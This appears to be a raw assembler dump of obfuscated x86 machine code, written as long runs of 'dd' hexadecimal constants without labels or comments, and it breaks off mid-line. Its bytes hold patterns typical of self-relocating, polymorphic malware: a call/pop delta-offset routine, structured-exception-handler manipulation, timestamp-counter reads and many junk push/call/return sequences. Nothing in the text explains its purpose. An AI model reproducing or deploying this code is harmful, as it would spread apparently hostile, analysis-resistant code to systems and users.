63F9BB9Dh, 799D8957h, 8905EA16h, 0EA23C1BDh, 0CB8E905h dd 0E80000h, 5D000000h, 75C6ED81h, 0BB6605EEh, 0AE9422Eh dd 24000000h, 95DA318Fh, 36B301Dh, 59858924h, 8D05EA00h dd 0EDC38785h, 49852905h, 5005EA32h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 9800C355h, 0E16AA8FFh, 666450EBh, 297F09BFh, 0EA2E618Dh dd 35FF6405h, 0 dd 2E99589h, 896405EAh, 25h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 9FDEC540h dd 13E9h, 1929D100h, 0E94D6B3Ah, 0C6F964F7h, 88D4749Dh dd 5D5B743Ah, 1C4985FFh, 5E905EAh, 11000000h, 998D13E0h dd 0D88BFF6Ah, 0FFDFBF0Fh, 0EA0071B5h, 0E59D2B05h, 0FF05EA02h dd 0EA144995h, 142E905h, 13E80000h, 32000000h, 0FF84C89Dh dd 65FD33E4h, 0DB0E1614h, 0A8203A4Ch, 0BF0FFAA5h, 0B05FD8h dd 0EE970E6h, 0C0000000h, 3183679Fh, 7D7190E6h, 0C6F43619h dd 8B71E422h, 0EA0B559Dh, 0F613C05h, 0FF83h, 42F38100h dd 8B3AA37Ch, 0EA1555BDh, 0C8B60F05h, 6850Fh, 8D890000h dd 5EA1D5Dh, 6BAh, 21C38100h, 8B6C6E3Dh, 8E9C1h, 0EA3D0000h dd 0D919D6F3h, 0E8C16C1Dh, 0E2F76604h, 31719529h, 0C82B05EAh dd 8BF8B70Fh, 0D38166D1h, 1E93D5Ch, 0F9000000h, 105858Bh dd 0EB8105EAh, 20C7D85h, 0F07C083h, 982h, 3890F00h, 0F000000h dd 0C083FABFh, 0D7816600h, 0D03BA222h, 3E830Fh, 14E80000h dd 7B000000h, 922FB26Ah, 7240B8EFh, 0C9753296h, 5F1B3DDAh dd 0E8E9B5F3h, 8, 392AA182h, 0E9228C8Ah, 0AF5BD89h, 5F5B05EAh dd 0E9DAB70Fh, 48h, 1195BD31h, 0FE8B05EAh, 7158D8Bh, 0BD0105EAh dd 5EA25A5h, 0F01E183h, 2B84h, 0BE900h, 0C1030000h, 0AFC6F8Dh dd 2129C9C2h, 15A58335h, 0FE05EA07h, 20799D89h, 958905EAh dd 5EA0105h, 0E9F98B66h, 0 dd 0F78AB58Dh, 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0EEF58C3h, 27205FD2h, 850FF9D5h dd 6, 16059D8Bh, 6A05EAh, 0AE9h, 2B736300h, 8391435Fh dd 0FF9457BBh, 0EA101595h, 8FBF6605h, 6E905h, 0F3B60000h dd 8F934CE2h, 0E64B9h, 5DBD8B00h, 8305EA25h, 0B357FCE1h dd 66FC5BF2h, 0E948D381h, 10699501h, 0B805EAh, 31000000h dd 0EA15C185h, 0BAF505h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 5773C356h dd 69634BBCh, 0C09BD8Bh, 33AD05EAh, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 65EA77C3h, 840F271Bh, 18h, 11E957h, 27190000h dd 0A37C97C4h, 778E1C41h, 0E4293222h, 5F9534B5h, 58F0Fh dd 0F8BB0000h, 0D7DA55Ch, 88h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0B2C35545h, 0FC094975h, 1EC5BD8Bh dd 958B05EAh, 5EA0ADDh, 29DD9D89h, 880F05EAh, 6, 2EC5BD8Bh dd 8D8B05EAh, 5EA0ACDh, 6870Fh, 9D890000h, 5EA2CA9h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 4C60EDC3h dd 0AD9D8B09h, 6A05EA1Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0DB37C356h, 83937CE7h dd 0EA0819BDh, 840F0005h, 6Fh, 0D830Fh, 8E90000h, 0B8000000h dd 0A1F0C024h, 0B8602E08h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0A6C35040h dd 0EE99Fh, 0A6DD0000h, 798D73EDh, 699FE2CCh, 0A9EB6847h dd 4C218D8Dh, 0FA8B05EAh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 83BDE5C3h, 0EA25F5BDh dd 840F0005h, 3E5h, 58B0Fh, 81660000h, 83EBDDCBh, 0EA25F5BDh dd 840F0105h, 3E8h, 0FFE8B66h, 0BD83F8B7h, 5EA25F5h, 9F860F03h dd 8B000003h, 0EA0319BDh, 719D2905h, 6005EA31h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F3C35242h, 0FA05B63Bh dd 3CA06C15h, 820F60B3h, 6, 25D1B589h, 880F05EAh, 2, 6661F38Bh dd 0EB81D98Ch, 0D298E4Bh, 6004E180h, 2EDBD89h, 830F05EAh dd 2, 0A615A53h, 2C840FC9h, 0BB000001h, 6A517C2Eh, 8BFB8B66h dd 0EA162985h, 9D9D8B05h, 3305EA25h, 0EA153585h, 6890F05h dd 8B000000h, 0EA2F219Dh, 3FBF9005h, 50647D45h, 5E860h dd 0DAE50000h, 0E9616961h, 0Bh, 64578BA8h, 38F48059h, 5A6FBFDDh dd 6E95250h, 8D000000h, 0C20AFC6Fh, 8B310FC9h, 61585AD6h dd 31BD8B90h, 6A05EA08h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0F88BE1E0h, 67458368h dd 2434816Bh, 6B78467Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0F1C35242h, 6D78F1Ah, 96EFB85h, 0D95FFBBh dd 6A05EA32h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 5F8CC356h, 0A9BB87FAh, 8966E437h dd 0EDD9E085h, 7E16BB05h, 11E97A4Eh, 1D000000h, 1984B2F1h dd 0A616DC8Fh, 0B2FBA950h, 0D11C7296h, 184E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 23ED56FCh, 15459D29h, 8BF905EAh, 0EDD9D885h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 667A1A3Ah, 3AF7C781h, 1800C7h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 4D5212C3h dd 74FF946Ah, 0DCB58B4Eh, 3105EDD9h, 0EA20818Dh, 0E5858B05h dd 6A05EA29h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 30EFC355h, 1837832Dh, 0B70F537Ah dd 5F565FFAh, 9D8B0689h, 5EA3171h, 1629858Bh, 0BD8B05EAh dd 5EA0879h, 89044689h, 0EA2E2D8Dh, 13E95005h, 0D3000000h dd 20291609h, 0D48DE481h, 0B1F676E3h, 0CD22884Ch, 34899CEBh dd 0FFB70F24h, 0D9D8B5FFh, 6A05EDh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E1C0BBC3h dd 9D71B0E1h, 0BD0B5F05h, 5EA001Dh, 0FE8h, 58DD9300h, 7995DE9Bh dd 0B0FA5E84h, 0E7F531F0h, 1BF59D89h, 685F05EAh, 360DFEEh dd 0E26A22BBh, 24348163h, 37FDC11h, 2B56CB81h, 858D0E51h dd 5EDD9E0h, 794F23BBh, 0BB56904Ah, 9636A52h, 0F90505Bh dd 689h, 81B52900h, 0FF05EA29h, 0EA320D95h, 11952905h dd 2305EA2Eh, 0EA1D7D9Dh, 6A6105h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 5C5D06C3h, 0C58D89D2h dd 0C705EA0Dh, 0EA25F585h, 305h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 1191C19Fh dd 3B00397h, 67BB66DBh, 0E0BD83B7h, 5EDD9h, 44840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 3EE907C3h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 1AFCC353h, 7FDC06ACh dd 3050833Fh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 0DBB70FC0h, 10419D8Bh, 0BD8305EAh, 5EA25F5h dd 0F4850F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F7FC353h, 388h, 0DBBF0F00h dd 0CF5BD8Bh, 0BD8305EAh, 5EDD9E0h, 0BC840F00h, 8B000003h dd 0EA24A1BDh, 0E0B5FF05h, 8B05EDD9h, 0EA15A5BDh, 8D95FF05h dd 6A05EA12h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 8701C351h, 0D9D4B58Bh, 8B6605EDh dd 106C7FAh, 8B000100h, 0EA2331BDh, 2860F05h, 0B3000000h dd 0FC8A5082h, 0E9243489h, 0Ah, 807B6D69h, 65EA7746h, 0B5FF271Bh dd 5EDD9E0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 56C35242h, 326995FFh, 6A05EAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BA280C3h dd 0EDD9D4B5h, 95BD8B05h, 8B05EA1Dh, 0EA088185h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 222BB820h, 0E19D8BDEh, 6005EA02h, 1D399D8Bh, 8D8B05EAh dd 5EA1641h, 968CBB61h, 86895BBAh, 0C4h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 18h, 2C35545h, 42D42630h dd 0ADD958Bh, 665705EAh, 59F3EB81h, 4C2835Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 14C35545h, 4E2ACF81h dd 50894C82h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0BFF95F61h, 0C1A3BB6Bh, 858D18DEh dd 5EDEB67h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 2CC35545h, 79BD8BFEh, 8905EA2Ch, 0B886h, 258D8900h dd 6A05EA29h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 1F72EBFBh, 52558AA8h, 8B5BF88Bh dd 0EA1095BDh, 0E0B5FF05h, 0E905EDD9h, 7, 37CAF5E2h, 89452159h dd 0EA1CED9Dh, 3D95FF05h, 6A05EA16h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0A4C9C356h dd 0D88B21F2h, 68D0F53h, 3000000h, 0EA2585BDh, 66505B05h dd 89FB4DBFh, 0BB662434h, 0B5FF4EB8h, 5EDD9E0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E3C35040h, 0EFFE41F5h dd 6D9D2B14h, 8A05EA11h, 0A995FFFAh, 0F05EA15h, 0BD83F9B7h dd 5EA115Dh, 0E840F00h, 53000000h, 5F87DF80h, 50965096h dd 5777BF66h, 0E0B5FF5Bh, 6A05EDD9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0C919C350h dd 667B27D6h, 0FF3B61BFh, 0EA1CC995h, 68B0F05h, 89000000h dd 0EA105DB5h, 0E0B5FF05h, 6A05EDD9h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 2C46C352h dd 9D8B4C43h, 5EA1ED1h, 230D95FFh, 6A05EAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E4351EC3h dd 0BD035BF1h, 5EA2B35h, 0C890Fh, 810F0000h, 6, 8B0Fh dd 85290000h, 5EA252Dh dd 631BD83h, 0F0205EAh, 5284h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 177A3C19h dd 0FCFD4895h, 95858BF8h, 6A05EA0Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0F222C352h dd 2A15B589h, 0C605EAh, 0C78BB300h, 0EA097D85h, 5, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0ED850934h, 0E905EA1Ch, 0FFFFF438h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 32C35747h, 0C85E22ABh, 8B60C18Bh dd 5D8D0BC1h, 6105EA10h, 2AD9BD8Bh, 858D05EAh, 5EA298Dh dd 2331BD8Bh, 0E89005EAh, 0Eh, 0F5924D0Ah, 792B65FAh, 0CAE3C842h dd 505BE835h, 0DA8B5250h, 585A310Fh, 69B58990h, 6A05EA0Fh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0BF0FC4CDh, 5E8D9h, 0F7840000h, 29498819h dd 0EA23EDBDh, 6A5B05h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 5BC35242h, 8DBD893Ch, 8D05EA0Ch, 0EE84B185h dd 13E905h, 1BED0000h, 280E652Fh, 0DCD65C81h, 5189A2EFh dd 0AD42BC80h, 5C0833Fh, 928EBB66h, 24048950h, 0D5F78166h dd 6A006AA3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0FC2C350h, 6AFEBFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E2C35141h, 1BD8BF8h dd 6005EA0Ah, 10E8h, 0E07A4700h, 0C10AF522h, 3D4F6FD6h dd 30B2053Eh, 12E9F6h, 87070000h, 0E51FE54Fh, 0F928F2Fh dd 411DECAEh, 82531856h, 0F59D2958h, 6105EA17h, 23E995FFh dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0B58ECAC3h, 0CDE575A6h, 8D8D1F64h, 5EDD89Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F3C35545h dd 689B1260h, 0B70FF8FFh, 8BD1FFDEh, 0EA1CB19Dh, 0D1BD8305h dd 105EA02h, 9C850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 58CFC6C3h, 89944CFDh dd 0F243CA3h, 0D88BD8BFh, 6A026Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0AF7771C3h, 64C873Eh dd 9509807Ch, 5EA2EF1h, 30659D8Bh, 535005EAh, 895BD98Bh dd 0B70F2404h, 3D95FFDBh, 6A05EA16h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F3E0C355h dd 1D96A7E4h, 0D5191AB3h, 1D698D09h, 0BB6605EAh, 91E9F757h dd 0E800000Eh, 0 dd 0BBED815Dh, 0F05EE84h, 6AFBBFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8B310CC3h, 0EA0EF19Dh dd 87858D05h, 6A05EDC3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 4241C356h, 5150D98Bh dd 895BFE8Bh, 0CF802404h, 35FF64E4h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5FC35646h dd 12E9FCECh, 0CF000000h, 3DE61E9h, 9A33AB29h, 64B79848h dd 0A9E4ADB9h, 25896447h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 82C35545h dd 489B32F4h, 1DA59D8Bh, 85FF05EAh, 5EA1C49h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 32C35747h, 516ED365h dd 70DB589h, 0FF6A05EAh, 879BD8Bh, 0B5FF05EAh, 5EA0C29h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FFC35343h dd 0C84DB852h, 0A170A254h, 16B58589h, 95FF05EAh, 5EA1449h dd 133E9h, 5870F00h, 0BF000000h, 37090955h, 0BB6600B0h dd 70E6492Fh, 0BE8h, 231D4600h, 2737A8C2h, 0A7A984C2h dd 0FC71E45Fh, 830F613Ch, 104h, 7E9h, 0AC0A2E00h, 953D8496h dd 0E8C8B60Fh, 0Ah, 0C9817FDEh, 14745DEEh, 9D8B6D47h, 5EA2995h dd 6BA5Fh, 9D890000h, 5EA0839h, 1880Fh, 8BFC0000h, 0F1BD8BC1h dd 0C105EA29h, 0CBBF04E8h, 504B947Dh, 0F7665FF5h, 4DFBBFE2h dd 0C82B022Eh, 0A4E78166h, 9D18B48h, 0EA07199Dh, 0D88B6605h dd 6E9h, 219D8B00h, 8B05EA1Bh, 0EA121D85h, 359D8B05h, 0F905EA32h dd 6607C083h, 834034BFh, 0BD8900C0h, 5EA31C1h, 830FD03Bh dd 10h, 2F3C60BBh, 66E912h, 0B5890000h, 5EA29D5h, 146D8D8Bh dd 0BF6605EAh, 0E183B153h, 4D840F01h, 81000000h, 0A61AF0EFh dd 6DA58313h, 0FE05EA14h, 6E8h, 0B5DD5E00h, 0FFEB2B3h dd 689h, 21958900h, 5F05EA0Ah, 121D9589h, 816005EAh, 28D2E4D3h dd 0AE972h, 0E34F0000h, 5B701C03h, 0F2E6B329h, 6D9D8961h dd 0E905EA0Ch, 0 dd 7EEB58Dh, 6A05EEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 4570C6C3h, 0B70FE4DCh, 6A006ADBh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 4715C350h, 0D7100544h, 2519B21h, 48F0Fh dd 0BF660000h, 95FF2272h, 5EA1015h, 6C70AABBh, 9D7B90Eh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 2D29ADC3h, 0EB804FA2h, 0EE951h, 0CE370000h dd 0F6D064B0h, 0AEFE9E1Bh, 0E7ADFA6Dh, 0FCFCE183h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 86C35747h, 630F9D23h dd 0F55C380Dh, 0C02BE8B3h, 88C0Fh, 60600000h, 6BF6661h dd 0D22B6144h, 0A8B0Fh, 8B600000h, 11BD89D8h, 6105EA07h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0B1C35242h, 6AFEB70Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 7D84C357h, 0FB1668Eh, 8531DABFh, 5EA2C21h, 880Dh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0FF02776Eh, 0ABD99F92h, 958BD583h, 5EA0ADDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 86C35545h, 0B94B423Ah dd 62CCF9BAh, 65BD8960h, 8B05EA08h, 8D8B61D0h, 5EA0ACDh dd 0B68CBB66h, 50DEB70Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 22435AFCh, 11E9h, 12A06200h, 658070DBh dd 76F93479h, 0AC7B893Ch, 0BD8333F1h, 5EA0819h, 59840F00h dd 66000000h, 0B8F98Bh, 0F8000000h, 8E9h, 9A47BB00h, 0CB0113B4h dd 218D8D47h, 0FF05EA4Ch, 51006AE1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 1C0FF0CEh dd 0E3B72DDCh, 0F8C0FFCh, 0E9000000h, 0Ah, 4499D95Dh, 0AFEF5FE7h dd 0DE8BAFA6h, 25F5BD83h, 0F0005EAh, 4E384h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0A1573E7Fh, 0B81B1E5h, 25F5BD83h, 0F0105EAh, 4CE84h dd 83DD8A00h, 0EA25F5BDh, 860F0305h, 489h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 61C35141h, 377A5C85h dd 312D8589h, 666005EAh, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 33FCC6C3h, 0BD8BAB15h dd 5EA1699h, 0A11896BFh, 4E18064h, 5800Fh, 81660000h, 0A4BA9F7h dd 9E840FC9h, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 20DEC351h, 0E91F952Ch dd 9, 0A2BEE31Ch, 2CA78A82h, 29858B32h, 6A05EA16h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 160CC350h, 0F9A226D6h, 15358533h, 6A05EAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 6A8EB9C3h dd 7C90FBD7h, 0ED9589EAh, 5005EA08h, 5880Fh, 0CBF0000h dd 891048CEh, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 9F121CC3h, 0FB07959h, 0F83h, 0AE900h dd 0C4510000h, 0E1152109h, 0A0C8599Ch, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0ABFEE5C3h, 6999D89h, 0BD8B05EAh, 5EA3165h, 4E8h, 1F03FF00h dd 52505100h, 8E8310Fh, 8000000h, 0B654AC30h, 5F6DFC88h dd 505B585Ah, 8BDA8B66h, 8B042444h, 0B3008BFBh, 244489DBh dd 0B3DBBB04h, 6A5840F2h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 39B7C353h, 48A7B6DDh dd 3DBF2E1Fh, 0F0A87A3h, 68Eh, 0D1BD8B00h, 0FF05EA0Eh dd 0EA320D95h, 0CDBD8905h, 8905EA12h, 0EDD9E085h, 0E9FD8A05h dd 234h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 2AC35747h, 89996989h, 0EA0BAD8Dh, 0D8858B05h, 0F05EDD9h dd 0C7F9BFh, 18h, 0BD8BFB8Bh, 5EA02BDh, 0D9DCB58Bh, 800F05EDh dd 16h, 108D0Fh, 0BE90000h, 61000000h, 3906036Dh, 90F0693Eh dd 858B969Bh, 5EA29E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 81C35646h, 73519A52h, 15D78166h, 8B06892Fh dd 0EA2AE99Dh, 29858B05h, 8905EA16h, 0EA0061B5h, 4468905h dd 7E8h, 7A713700h, 0B57AEAEAh, 8403A3BFh, 8B665B15h, 9E896D9h dd 0A2000000h, 0B9CBD3F0h, 49398B3Ah, 0F88B6660h, 0E9505F61h dd 7, 49D6E374h, 96839A14h, 2807DB81h, 815257F1h, 1C3DD6E7h dd 0B5FF5F69h, 5EDD9D8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0A4C35343h, 0B5A585F0h, 894B028Bh, 0EA3271BDh dd 4E805h, 3FF0000h, 5060001Fh, 0F616052h, 5AD48A31h, 98DFBE58h dd 50615B69h, 95CA6CBBh, 24448B31h, 8E95304h, 1C000000h dd 0B3295B70h, 5BFBF2E6h, 5250008Bh, 310F5F53h, 12E951h dd 0EF100000h, 2FC19596h, 46F5B6EBh, 2C1D1952h, 9D98FE00h dd 89585A5Fh, 0E9042444h, 0Dh, 5E76FB2Dh, 93942EF4h, 9A002837h dd 6A58A7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0B409F1C3h, 78708398h, 0D9E0858Dh, 6A05EDh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0CCA841C3h, 0B5896063h, 5EA1091h, 0F6D38166h, 66906188h dd 50F999BFh, 90D98B66h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 81C35141h, 0D19D8B63h, 0F05EA25h, 488h dd 5F505600h, 0D95FF5Fh, 6A05EA32h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 55C5C353h dd 78EC9BD6h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 85835B12h, 60FDDD16h, 14B5B589h dd 0C76105EAh, 0EA25F585h, 305h, 0A5858900h, 8305EA24h dd 0EDD9E0BDh, 840F0005h, 29h, 1BD8B56h, 5B05EA2Ch, 11E9h dd 0BDE8C000h, 5035A223h, 54B5844Eh, 75CBBF19h, 21E94968h dd 8B000000h, 0EA2AF59Dh, 0C305005h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 10559589h, 6A05EAh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0C47CAAC3h, 94CFB24Ah, 0BD8B60C2h, 5EA1DC5h, 105D9589h dd 836105EAh, 0EA25F5BDh, 850F0305h, 429h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0FFC35343h, 4E14DD77h dd 0F6A4000h, 93BFF9BFh, 83550CEFh, 0EDD9E0BDh, 840F0005h dd 3F1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E9C35646h, 8B1E310Bh dd 0B5FFF8F8h, 5EDD9E0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 15C35545h, 242AFA98h, 9501056Ah, 5EA256Dh dd 128D95FFh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0B6F159C3h, 0D80D83A3h, 8B0BE6DAh dd 0EDD9D4B5h, 9D896005h, 5EA02A5h, 5820Fh, 2CBB0000h dd 612BCBACh, 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 4A248AC3h, 85DBCD12h dd 96AD757Eh, 0DF8B6650h, 50006A96h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FF91D2A0h dd 0EDD9E0B5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0A8C4EA74h, 0B589A9B9h dd 5EA0985h, 326995FFh, 0BD8905EAh, 5EA1D79h, 0D9D4B58Bh dd 0B70F05EDh, 91B589F9h, 8B05EA15h, 0EA088185h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 62ADB7D7h, 8A0F60A7h, 6, 29399523h, 0BF6105EAh, 9C4099Bh dd 0C48689h, 0F98B0000h, 0ADD958Bh, 6A05EAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0CE8469C3h dd 0F4F7F9E7h, 2CA2BF66h, 5E9h, 4A950900h, 0C2835799h dd 0F1BD2304h, 8905EA30h, 9D8B2050h, 5EA24FDh, 0EB67858Dh dd 0B58905EDh, 5EA0AE9h, 0B88689h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 899F5EC3h dd 0EA0D51BDh, 0F006A05h, 18Ch, 0B5FFF500h, 5EDD9E0h, 18C0Fh dd 0FFF90000h, 0EA163D95h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0B53C22D1h dd 97A8A21Ch, 29298509h, 8B9605EAh, 525050DAh, 0A0DE54BBh dd 5A310F3Dh, 6A9658h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 1EA16EC3h, 0F891F696h, 66A3069Dh dd 0B5FFDF8Bh, 5EDD9E0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 4FC35242h, 0AA89FDBh, 0B9F11206h, 858951F0h dd 5EA2E85h, 0A995FF5Fh, 6A05EA15h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0FF6C350h dd 624F0E42h, 6D8D8981h, 8305EA1Ah, 0EA115DBDh, 840F0005h dd 43h, 8E9h, 0E65B8700h, 0CBEDCEEAh, 0B7505043h, 34895BADh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 5CF0E5A6h, 0A71181F7h, 2FF19D8Bh, 816605EAh dd 0FFC979E3h, 0EDD9E0B5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 7E824C2h, 2F000000h dd 8D53CC2h, 8C0F1A02h, 6, 0CCFADB81h, 0FF5F5E78h, 0EA1CC995h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0AAC7BDE4h, 